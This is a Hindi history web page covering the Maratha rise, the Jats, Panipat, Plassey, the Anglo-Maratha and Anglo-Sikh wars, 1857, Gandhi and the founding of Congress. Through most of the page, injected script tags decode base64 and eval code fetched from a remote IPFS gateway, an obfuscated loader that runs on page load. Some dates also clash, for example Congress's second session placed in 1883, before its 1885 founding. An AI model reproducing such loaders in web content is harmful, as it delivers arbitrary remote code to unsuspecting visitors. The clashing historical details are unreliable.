प्रणाली

मराठों का उत्कर्ष

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मुग़ल शासन की शक्तिहीनता के कारण भारत में आने वाली विदेशी जातियों और उनकी कम्पनियों को प्रभाव जमाने का मौक़ा तो मिला ही, भारत की एक अन्य शक्ति मराठा भी अपना विकास करती गई और मुग़ल प्रशासन की संप्रभुता को चुनौती देकर अपनी प्रधानता क़ायम कर ली। उन्नीसवीं शताब्दी का एक अंग्रेज़ इतिहासकार लिखता है कि, "औरंगज़ेब की मृत्यु के साथ ही मुग़ल साम्राज्य का पतन आरम्भ हो गया। जहाँदारशाह लापरवाह, लम्पट और पागलपन की हद तक नशेबाज़ था। उसने दुराचारपूर्ण और स्त्रैण दरबारी जीवन का एक दुष्ट नमूना सामने रखा और शासक वर्ग की नैतिकता को कलंकित किया। इस कठपुतली बादशाह के काल में सारी सत्ता वज़ीर तथा अन्य दरबारियों के हाथों में चली गई। उत्तरदायित्व बँट जाने से प्रशासन में लापरवाही आयी और अराजकता फैल गई। अपने ग्यारह महीने के प्रशासन काल में जहाँदारशाह ने अपने पूर्वजों द्वारा संचित ख़ज़ाने को अधिकांशत: लूटा दिया। सोना, चाँदी और बाबर के समय से इकट्ठी की गई अन्य मूल्यवान चीज़ें उड़ा दी गईं। युवक मुहम्मदशाह को प्रशासन में कोई रुचि नहीं थी। वह निम्न कोटि के लोगों से घिरा रहता था और तुच्छ कामों में अपना समय बिताता था। इसी के शासन काल में दिल्ली पर नादिरशाह का आक्रमण हुआ था। इस समय भारत की शक्ति अधिकांशत: मराठों के हाथों में आ चुकी थी, और वही नादिरशाह के आक्रमण का मुकाबला भी कर सकते थे। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: शाहजी भोंसले, जीजाबाई, शम्भुजी, शाहू, ताराबाई एवं छत्रपति राजाराम

शिवाजी के उत्तराधिकारी

प्राचीन राज्य सब छिन्न-भिन्न हो चुके थे और मुग़लों का सामना मराठों से था, जो प्रतिदिन शक्तिशाली होते जा रहे थे, और अन्त में मराठे मुग़लों पर पूरी तरह से छा गये। मराठों में राजनीतिक जागरण एवं संगठन की पृष्ठभूमि का निर्माण छत्रपति शिवाजी ने किया था। औरंगज़ेब के शासन-काल में ही उन्होंने तोरण, रामगढ़, चाकन, कल्याणी आदि को जीतकर अपनी शक्ति बढ़ा ली थी, तथा बीजापुर के सुल्तान, यहाँ तक की औरंगज़ेब से भी संघर्ष करके अपनी अजेय शक्ति का परिचय दिया। उन्होंने स्वतन्त्र मराठा राज्य की स्थापना कर ली, जिसे विवश होकर मुग़ल सम्राट को भी मान्यता देनी पडी। शिवाजी के नेतृत्व में निर्मित मराठा प्रशासन मुग़ल साम्राज्य की कमज़ोरी का परिचायक है। शिवाजी के उत्तराधिकारियों-शम्भाजी, राजाराम, शिवाजी द्वितीय और शाहू ने मराठा राज्य का संचालन किया। उनके बाद पेशवाओं की प्रधानता मराठा राज्य में क़ायम हो गई। बालाजी विश्वनाथ, बाजीराव प्रथम और बालाजी बाजीराव नामक पेशवाओं ने मराठा शक्ति को अपने संरक्षण में क़ायम रखा। यद्यपि एक दिन मराठे अहमदशाह अब्दाली के हाथों पराजित हुए, तथापि उन्होंने भारत की एक महान् शक्ति के रूप में अपना अस्तित्व बनाये रखा। प्लासी की लड़ाई के बाद वे औरंगज़ेब के एक बड़े विरोधी सिद्ध हुए। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: रघुजी भोंसले, राघोवा, नारायणराव एवं माधवराव नारायण

अन्य शक्तियों का उद्भव

उत्तर मुग़लकालीन शासकों के शासन काल में मराठों के अतिरिक्त भारत में सिक्खों, राजपूतों, जाटों तथा रुहेलों के रूप में अन्य शक्तियाँ भी उछल-कूद कर रही थीं। सिक्खों ने पंजाब में अपनी शक्ति में वृद्ध कर ली थी। पंजाब में उन्होंने अपनी स्वतन्त्र सत्ता स्थापित कर ली और मुग़लों की संप्रभूता की अवहेलना कर दी। इसी प्रकार राजपूतों ने राजपूताना में, जाटों ने दिल्ली के आस-पास और रुहेलों ने रूहेलखण्ड में अपनी-अपनी शक्ति का विस्तार कर लिया। मराठों तथा सिक्खों की तरह उन्होंने भी अपनी स्वतन्त्र सत्ता की स्थापना कर डाली। सम्पूर्ण देश को विघटित करने वाली इन तमाम शक्तियों पर नियन्त्रण रखना मुग़ल शासकों के लिए सम्भव नहीं रह गया और देश विघटित होने लगा। देश की ऐसी अनैक्यपूर्ण स्थिति में भारत में विदेशी जातियों तथा कम्पनियों का आगमन हुआ और इन नवागत कम्पनियों को अपना अधिकार-क्षेत्र विस्तृत करने का अवसर मिल गया। इन विदेशियों को अपना क्षेत्राधिकार बढ़ाने का ये सुअवसर यूँ ही नहीं मिल गया। इन्होंने देख लिया था कि, भारत की देशी रियासतों में आपसी फूट बहुत ज़्यादा है। ये फूट इस हद तक बढ़ चुकी थी कि देशी रियासतें बाहरी लोगों का मुकाबला करने की बजाय आपस में ही लड़ती रहीं। जब इन रियासतों ने बाहरी आक्रमणकारियों को पहचाना, तब तक बहुत देर हो चुकी थी।

जाट

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

औरंगज़ेब के शासक बनने के कुछ ही समय के अन्दर जाट आँख का काँटा बन गए थे। उनका निवास मुख्यतः शाही परगना था, जो "मोटे तौर पर एक चौकोर प्रदेश था, जो उत्तर से दक्षिण की ओर लगभग 250 मील लम्बा और 100 मील चौड़ा था"[2]यमुना नदी इसकी विभाजक रेखा थी, दिल्ली और आगरा इसके दो मुख्य नगर थे। इसमें वृन्दावन, गोकुल, गोवर्धन और मथुरा में हिन्दू धार्मिक तीर्थस्थान तथा मन्दिर भी थे। पूर्व में यह गंगा की ओर फैला था और दक्षिण में चम्बल नदी तक, अम्बाला के उत्तर में पहाड़ों और पश्चिम में मरूस्थल तक। " इनके राज्य की कोई वास्तविक सीमाएँ नहीं थीं। यह इलाक़ा कहने को सम्राट के सीधे शासन के अधीन था, परन्तु व्यवहार में यह कुछ सरदारों में बँटा हुआ था। यह ज़मीनें उन्हें, उनके सैनिकों के भरण-पोषण के लिए दी गई हैं। जाट-लोग दबंग देहाती थे, जो साधारणतया शान्त होने पर भी, उससे अधिक राजस्व देने वाले नहीं थे, जितना कि उनसे जबरदस्ती ऐंठा जा सकता था; और उन्होंने मिट्टी की दीवारें बनाकर अपने गाँवों को ऐसे क़िलों का रूप दे दिया था, जिन्हें केवल तोपखाने द्वारा जीता जा सकता था। जाट शासकों में महाराजा सूरजमल (शासनकाल सन् 1755 से सन् 1763 तक )और उनके पुत्र जवाहर सिंह (शासन काल सन् 1763 से सन् 1768 तक ) मथुरा के इतिहास में बहुत प्रसिद्ध हैं । <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: ब्रज का जाट मराठा काल, जाटों का इतिहास, ब्रज का मुग़ल काल, राजाराम एवं गोकुल सिंह

भारत की ऐतिहासिक लड़ाईयाँ

भारतीय इतिहास में समय-समय पर कई युद्ध हुए हैं। इन युद्धों के द्वारा भारत की राजनीति ने न जाने कितनी ही बार एक अलग ही दिशा प्राप्त की। भारतीय रियासतों में आपस में ही कई इतिहास प्रसिद्ध युद्ध लड़े गए। इन देशी रियासतों की आपसी फूट भी इस हद तक बढ़ चुकी थी, कि अंग्रेज़ों ने उसका पूरा लाभ उठाया। राजपूतों, मराठों और मुसलमानों में भी कई सन्धियाँ हुईं। भारत के इतिहास में अधिकांश युद्धों का लक्ष्य सिर्फ़ एक ही था, दिल्ली सल्तनत पर हुकूमत। अंग्रेज़ों ने ही अपनी सूझबूझ और चालाकी व कूटनीति से दिल्ली की हुकूमत प्राप्त की थी। हालाँकि उन्हें भारत में अपने पाँव जमाने के लिए काफ़ी परेशानियों का सामना करना पड़ा था, फिर भी उन्होंने भारतियों की आपसी फूट का लाभ उठाते हुए इसे एक लम्बे समय तक ग़ुलाम बनाये रखा।

पानीपत युद्ध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अहमदशाह अब्दाली ने 1748 से 1760 ई. के बीच भारत पर चढ़ाइयाँ कीं और 1761 ई. में पानीपत की तीसरी लड़ाई जीत कर मुग़ल साम्राज्य का फ़ातिहा पढ़ दिया। उसने दिल्ली पर दख़ल करके उसे लूटा। पानीपत की तीसरी लड़ाई में सबसे अधिक क्षति मराठों को उठानी पड़ी। कुछ समय के लिए उनकी बाढ़ रुक गयी और इस प्रकार वे मुग़ल बादशाहों की जगह ले लेने का मौक़ा खो बैठे। यह लड़ाई वास्तव में मुग़ल साम्राज्य के पतन की सूचक है। इसने भारत में मुग़ल साम्राज्य के स्थान पर ब्रिटिश साम्राज्य की स्थापना में मदद की। अब्दाली को पानीपत में जो फ़तह मिली, उससे न तो वह स्वयं कोई लाभ उठा सका और न उसका साथ देने वाले मुसलमान सरदार। इस लड़ाई से वास्तविक फ़ायदा अंग्रेज़ी ईस्ट इंडिया कम्पनी ने उठाया। इसके बाद कम्पनी को एक के बाद दूसरी सफलताएँ मिलती गयीं।

प्लासी का युद्ध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> प्लासी का युद्ध 23 जून, 1757 ई. को लड़ा गया था। अंग्रेज़ और बंगाल के नवाब सिराजुद्दौला की सेनायें 23 जून, 1757 को मुर्शिदाबाद के दक्षिण में 22 मील दूर 'नदिया ज़िले' में भागीरथी नदी के किनारे 'प्लासी' नामक गाँव में आमने-सामने आ गईं। सिराजुद्दौला की सेना में जहाँ एक ओर 'मीरमदान', 'मोहनलाल' जैसे देशभक्त थे, वहीं दूसरी ओर मीरजाफ़र जैसे कुत्सित विचारों वाले धोखेबाज़ भी थे। युद्ध 23 जून को प्रातः 9 बजे प्रारम्भ हुआ। मीरजाफ़र एवं रायदुर्लभ अपनी सेनाओं के साथ निष्क्रिय रहे। इस युद्ध में मीरमदान मारा गया। युद्ध का परिणाम शायद नियति ने पहले से ही तय कर रखा था। रॉबर्ट क्लाइव बिना युद्ध किये ही विजयी रहा। फलस्वरूप मीरजाफ़र को बंगाल का नवाब बनाया गया। के.एम.पणिक्कर के अनुसार, 'यह एक सौदा था, जिसमें बंगाल के धनी सेठों तथा मीरजाफ़र ने नवाब को अंग्रेज़ों के हाथों बेच डाला'।

मैसूर युद्ध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1761 ई. में हैदर अली ने मैसूर में हिन्दू शासक के ऊपर नियंत्रण स्थापित कर लिया। निरक्षर होने के बाद भी हैदर अली की सैनिक एवं राजनीतिक योग्यता अद्वितीय थी। उसके फ़्राँसीसियों से अच्छे सम्बन्ध थे। हैदर अली की योग्यता, कूटनीतिक सूझबूझ एवं सैनिक कुशलता से मराठे, निज़ाम एवं अंग्रेज़ ईर्ष्या करते थे। हैदर अली ने अंग्रेज़ों से भी सहयोग माँगा था, परन्तु अंग्रेज़ इसके लिए तैयार नहीं हुए, क्योंकि इससे उनकी राजनीतिक महत्वाकांक्षा पूरी न हो पाती। भारत में अंग्रेज़ों और मैसूर के शासकों के बीच चार सैन्य मुठभेड़ हुई थीं। अंग्रेज़ों और हैदर अली तथा उसके पुत्र टीपू सुल्तान के बीच समय-समय पर युद्ध हुए। 32 वर्षों (1767 से 1799 ई.) के मध्य में ये युद्ध छेड़े गए थे।

आंग्ल-मराठा युद्ध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

भारत के इतिहास में तीन आंग्ल-मराठा युद्ध हुए हैं। ये तीनों युद्ध 1775 ई. से 1818 ई. तक चले। ये युद्ध ब्रिटिश सेनाओं और मराठा महासंघ के बीच हुए थे। इन युद्धों का परिणाम यह हुआ कि, मराठा महासंघ का पूरी तरह से विनाश हो गया। मराठों में पहले से ही आपस में काफ़ी भेदभाव थे, जिस कारण वह अंग्रेज़ों के विरुद्ध एकजुट नहीं हो सके। जहाँ रघुनाथराव ने ईस्ट इण्डिया कम्पनी से मित्रता करके पेशवा बनने का सपना देखा, और अंग्रेज़ों के साथ सूरत की सन्धि की, वहीं क़ायर बाजीराव द्वितीय ने बसीन भागकर अंग्रेज़ों के साथ बसीन की सन्धि की और मराठों की स्वतंत्रता को बेच दिया। पहला युद्ध(1775-1782 ई.) रघुनाथराव द्वारा महासंघ के पेशवा (मुख्यमंत्री) के दावे को लेकर ब्रिटिश समर्थन से प्रारम्भ हुआ। जनवरी 1779 ई. में बड़गाँव में अंग्रेज़ पराजित हो गए, लेकिन उन्होंने मराठों के साथ सालबाई की सन्धि (मई 1782 ई.) होने तक युद्ध जारी रखा।

आंग्ल-सिक्ख युद्ध

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भारत के इतिहास में दो सिक्ख युद्ध हुए हैं। इन दोनों ही युद्धों में सिक्ख अंग्रेज़ों से पराजित हुए और उन्हें अंग्रेज़ों से उनकी मनमानी शर्तों के अनुसार सन्धि करनी पड़ी। प्रथम युद्ध में पराजय के कारण सिक्खों को अंग्रेज़ों के साथ 9 मार्च, 1846 ई. को 'लाहौर की सन्धि' और इसके उपरान्त एक और सन्धि, 'भैरोवाल की सन्धि' 22 दिसम्बर, 1846 ई. को करनी पड़ी। इन सन्धियों के द्वारा 'लाल सिंह' को वज़ीर के रूप में अंग्रेज़ों ने मान्यता प्रदान कर दी और अपनी एक रेजीडेन्ट को लाहौर में रख दिया। महारानी ज़िन्दा कौर को दलीप सिंह से अलग कर दिया गया, जो की दलीप सिंह की संरक्षिका थीं। उन्हें 'शेखपुरा' भेज दिया गया। द्वितीय युद्ध में सिक्खों ने अंग्रेज़ों के आगे आत्म समर्पण कर दिया। दलीप सिंह को पेन्शन प्रदान कर दी गई। उसे व रानी ज़िन्दा कौर को 5 लाख रुपये वार्षिक पेन्शन पर इंग्लैण्ड भेज दिया गया। जहाँ पर कुछ समय बाद ही रानी ज़िन्दा कौर की मृत्यु हो गई।

गोरखा युद्ध

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गोरखा युद्ध 1816 ई. में ब्रिटिश भारतीय सरकार और नेपाल के बीच हुआ। उस समय भारत का गवर्नर-जनरल लॉर्ड हेस्टिंग्स था। ईस्ट इण्डिया कम्पनी के राज्य का प्रसार नेपाल की तरफ़ भी होने लगा था, जबकि नेपाल अपने राज्य का विस्तार उत्तर की ओर चीन के होने के कारण नहीं कर सकता था। गोरखों ने पुलिस थानों पर हमला कर दिया और कई अंग्रेज़ों को अपना निशाना बनाया। इन सब परिस्थितियों में कम्पनी ने गोरखा लोगों के विरुद्ध युद्ध की घोषणा कर दी। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: युद्ध सन्धियाँ, आन्दोलन विप्लव सैनिक विद्रोह (1757-1856 ई.) एवं गोरखा

प्रथम स्वतंत्रता संग्राम

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> लॉर्ड कैनिंग के गवर्नर-जनरल के रूप में शासन करने के दौरान ही 1857 ई. की महान् क्रान्ति हुई। इस क्रान्ति का आरम्भ 10 मई, 1857 ई. को मेरठ से हुआ, जो धीरे-धीरे कानपुर, बरेली, झांसी, दिल्ली, अवध आदि स्थानों पर फैल गया। इस क्रान्ति की शुरुआत तो एक सैन्य विद्रोह के रूप में हुई, परन्तु कालान्तर में उसका स्वरूप बदल कर ब्रिटिश सत्ता के विरुद्ध एक जनव्यापी विद्रोह के रूप में हो गया, जिसे भारत का प्रथम स्वतन्त्रता संग्राम कहा गया।

1857 ई. की इस महान् क्रान्ति के स्वरूप को लेकर विद्धान एक मत नहीं है। इस बारे में विद्वानों ने अपने अलग-अलग मत प्रतिपादित किये हैं, जो इस प्रकार हैं-'सिपाही विद्रोह', 'स्वतन्त्रता संग्राम', 'सामन्तवादी प्रतिक्रिया', 'जनक्रान्ति', 'राष्ट्रीय विद्रोह', 'मुस्लिम षडयंत्र', 'ईसाई धर्म के विरुद्ध एक धर्म युद्ध' और 'सभ्यता एवं बर्बरता का संघर्ष' आदि।

मंगल पाण्डे

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 29 मार्च, 1857 ई. को मंगल पाण्डे नामक एक सैनिक ने 'बैरकपुर छावनी' में अपने अफ़सरों के विरुद्ध विद्रोह कर दिया, लेकिन ब्रिटिश सैन्य अधिकारियों ने इस सैनिक विद्रोह को सरलता से नियंत्रित कर लिया और साथ ही उसकी बटालियम '34 एन.आई.' को भंग कर दिया। 24 अप्रैल को 3 एल.सी. परेड मेरठ में 90 घुड़सवारों में से 85 सैनिकों ने नये कारतूस लेने से इंकार कर दिया। आज्ञा की अवहेलना के कारण इन 85 घुडसवारों को कोर्ट मार्शल द्वारा 5 वर्ष का कारावास दिया गया। 'खुला विद्रोह' 10 मई, दिन रविवार को सांयकाल 5 व 6 बजे के मध्य प्रारम्भ हुआ। सर्वप्रथम पैदल टुकड़ी '20 एन.आई.' में विद्रोह की शुरुआत हुई, तत्पश्चात् '3 एल.सी.' में भी विद्रोह फैल गया। इन विद्रोहियों ने अपने अधिकारियों के ऊपर गोलियाँ चलाई। मंगल पाण्डे ने 'हियरसे' को गोली मारी थी, जबकि 'अफ़सर बाग' की हत्या कर दी गई थी।

झाँसी की रानी

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झाँसी की रानी लक्ष्मीबाई का जन्म 19 नवंबर, 1828 को काशी के पुण्य व पवित्र क्षेत्र असीघाट, वाराणसी में हुआ था। इनके पिता का नाम 'मोरोपंत तांबे' और माता का नाम 'भागीरथी बाई' था। इनका बचपन का नाम 'मणिकर्णिका' रखा गया, परन्तु प्यार से मणिकर्णिका को 'मनु' पुकारा जाता था। मनु की अवस्था अभी चार-पाँच वर्ष ही थी कि उसकी माँ का देहान्त हो गया। पिता मोरोपंत तांबे एक साधारण ब्राह्मण और अंतिम पेशवा बाजीराव द्वितीय के सेवक थे। माता भागीरथी बाई सुशील, चतुर और रूपवती महिला थीं। अपनी माँ की मृत्यु हो जाने पर वह पिता के साथ बिठूर (कानपुर) आ गई थीं। यहीं पर उन्होंने मल्लविद्या, घुड़सवारी और शस्त्रविद्याएँ सीखीं। चूँकि घर में मनु की देखभाल के लिए कोई नहीं था, इसलिए उनके पिता मोरोपंत मनु को अपने साथ बाजीराव द्वितीय के दरबार में ले जाते थे, जहाँ चंचल एवं सुन्दर मनु ने सबका मन मोह लिया था। बाजीराव मनु को प्यार से 'छबीली' बुलाने थे।

तात्या टोपे

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सन 1857 ई. के प्रथम स्वतन्त्रता संग्राम के अग्रणीय वीरों में तात्या टोपे को बड़ा उच्च स्थान प्राप्त है। इस वीर ने कई स्थानों पर अपने सैनिक अभियानों में उत्तर प्रदेश, राजस्थान, मध्य प्रदेश, गुजरात में अंग्रेज़ी सेनाओं से टक्कर ली थी और उन्हें परेशान कर दिया था। गोरिल्ला युद्ध प्रणाली को अपनाते हुए तात्या टोपे ने अंग्रेज़ी सेनाओं के कई स्थानों पर छक्के छुड़ा दिये थे। तात्या टोपे जो 'तांतिया टोपी' के नाम से विख्यात हैं, 1857 ई. के स्वतंत्रता संग्राम के उन महान् सैनिक नेताओं में से एक थे, जो प्रकाश में आए। 1857 ई. तक लोग इनके नाम से अपरिचित थे। लेकिन 1857 ई. की नाटकीय घटनाओं ने उन्हें अचानक अंधकार से प्रकाश में ला खड़ा किया। इस महान् विद्रोह के प्रारंभ होने से पूर्व वह राज्यच्युत पेशवा बाजीराव द्वितीय के सबसे बड़े पुत्र बिठूर के राजा, नाना साहब के एक प्रकार से साथी-मुसाहिब मात्र थे, किंतु स्वतंत्रता संग्राम में कानपुर के सम्मिलित होने के पश्चात् तात्या पेशवा की सेना के सेनाध्यक्ष की स्थिति तक पहुँच गए।

बहादुर शाह

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बहादुर शाह ज़फ़र अकबर द्वितीय और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह अंग्रेज़ों पर आश्रित रहे। 1857 ई. में स्वतंत्रता संग्राम शुरू होने के समय बहादुर शाह 82 वर्ष के बूढे थे, और स्वयं निर्णय लेने की क्षमता को खो चुके थे। विद्रोहियों ने उनको आज़ाद हिन्दुस्तान का बादशाह बनाया। इस कारण अंग्रेज़ उनसे कुपित हो गये और उन्होंने उनसे शत्रुवत् व्यवहार किया। सितम्बर 1857 ई. में अंग्रेज़ों ने दुबारा दिल्ली पर क़ब्ज़ा जमा लिया और बहादुर शाह ज़फ़र को गिरफ़्तार करके उन पर मुक़दमा चलाया गया तथा उन्हें रंगून (वर्तमान यांगून) निर्वासित कर दिया गया।

अन्तिम मुग़ल शासक बहादुरशाह ज़फ़र, झांसी की रानी लक्ष्मीबाई, तांत्या टोपे (रामचंन्द्र पांडुरंग), बिहार के बाबू कुँवरसिंह, महाराष्ट्र से नाना साहब, इस प्रथम क्रान्ति के प्रयास के नायक थे, किन्तु प्रयास विफल हो गया। अधिकांश देशी राजाओं ने अपने को क्रांति से अलग रखा। कम्पनी को बलपूर्वक क्रांति को कुचल देने में सफलता मिली, परन्तु क्रांति के बाद ब्रिटिश पार्लियामेंट ने भारत पर कम्पनी का शासन समाप्त कर दिया। भारत का शासन अब सीधे ब्रिटेन के द्वारा किया जाने लगा।

महात्मा गाँधी

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महात्मा गाँधी ने भारत को आज़ादी दिलाने के लिए अपना सम्पूर्ण जीवन ही समर्पित कर दिया था। विश्वकवि रवीन्द्रनाथ टैगोर ने उन्हें 'महात्मा' की उपाधि दी थी, जिससे वह महात्मा गाँधी के नाम से पुकारे जाने लगे थे। महात्मा गांधी का जन्म 2 अक्तूबर 1869 ई. को गुजरात के पोरबंदर नामक स्थान पर हुआ था। उनके माता-पिता कट्टर हिन्दू थे। इनके पिता का नाम करमचंद गाँधी था। मोहनदास की माता का नाम पुतलीबाई था, जो करमचंद गांधी जी की चौथी पत्नी थीं। मोहनदास अपने पिता की चौथी पत्नी की अन्तिम संतान थे। उनके पिता करमचंद (कबा गांधी) पहले ब्रिटिश शासन के तहत पश्चिमी भारत के गुजरात राज्य में एक छोटी-सी रियासत की राजधानी पोरबंदर के दीवान थे और बाद में क्रमशः राजकोट (काठियावाड़) और वांकानेर में दीवान रहे। करमचंद गांधी ने बहुत अधिक औपचारिक शिक्षा तो प्राप्त नहीं की थी, लेकिन वह एक कुशल प्रशासक थे और उन्हें सनकी राजकुमारों, उनकी दुःखी प्रजा तथा सत्तासीन कट्टर ब्रिटिश राजनीतिक अधिकारियों के बीच अपना रास्ता निकालना आता था। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: असहयोग आन्दोलन, सविनय अवज्ञा आन्दोलन एवं नमक सत्याग्रह

भारतीय राष्ट्रीय कांग्रेस की स्थापना

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इस प्रकार भारत में ब्रिटिश शासन का दूसरा काल (1858-1947 ई.) आरम्भ हुआ। इस काल का शासन एक के बाद इकत्तीस गवर्नर-जनरलों के हाथों में रहा। गवर्नर-जनरल को अब वाइसराय (ब्रिटिश सम्राट का प्रतिनिधि) कहा जाने लगा। लॉर्ड कैनिंग पहला वाइसराय तथा गवर्नर-जनरल नियुक्त हुआ। 1885 ई. में बम्बई में भारतीय राष्ट्रीय कांग्रेस की स्थापना हुई, जिसमें देश के समस्त भागों से 71 प्रतिनिधियों ने भाग लिया। कांग्रेस का दूसरा अधिवेशन 1883 ई. में कलकत्ता में हुआ, जिसमें सारे देश से निर्वाचित 434 प्रतिनिधियों ने भाग लिया। इस अधिवेशन में माँग की गयी कि भारत में केन्द्रीय तथा प्रांतीय विधानमंडलों का विस्तार किया जाये और उसके आधे सदस्य निर्वाचित भारतीय हों। कांग्रेस हर साल अपने अधिवेशनों में अपनी माँगें दोहराती रही। लॉर्ड डफ़रिन ने कांग्रेस पर व्यंग्य करते हुए उसे ऐसे अल्पसंख्यक वर्ग का प्रतिनिधित्व करने वाली संस्था बताया, जिसे सिर्फ़ ख़ुर्दबीन से देखा जा सकता है। लॉर्ड लैन्सडाउन ने उसके प्रति पूर्ण उपेक्षा की नीति बरती, लॉर्ड कर्ज़न ने उसका खुलेआम मज़ाक उड़ाया तथा लॉर्ड मिन्टो द्वितीय ने 1909 के इंडियन 